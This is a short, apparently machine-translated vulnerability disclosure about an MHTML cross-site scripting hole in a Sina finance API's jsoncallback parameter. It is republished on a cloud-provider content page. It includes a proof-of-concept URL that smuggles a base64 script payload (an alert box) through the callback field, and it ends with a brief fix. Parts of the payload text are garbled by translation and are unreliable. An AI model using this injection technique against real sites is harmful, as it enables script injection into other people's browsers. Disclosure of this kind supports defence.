Mhtml XSS injection and repair solution

Source: Internet
Author: User

Jsoncallback filter UTF-7 BOM. However, there is still mhtml XSS injection.
Detailed description:

IE6




IE7


Proof of vulnerability:
Mhtml: http://survey.finance.sina.com.cn/api/fusioncharts/get_from_data.php? Sid = 48302 & aid = 18099 & jsoncallback = ax % capacity % 253 Amultipart % 252 frelated % 253 Bboundary % 253Dx -- x % 250AContent-Location % 253A80sec % capacity % 253Abase64% 250d % 250a % 250d % 250aPHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4% 252b % 253D --! 80sec
Solution:
Json problems. Filter + and press enter to wrap the text.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.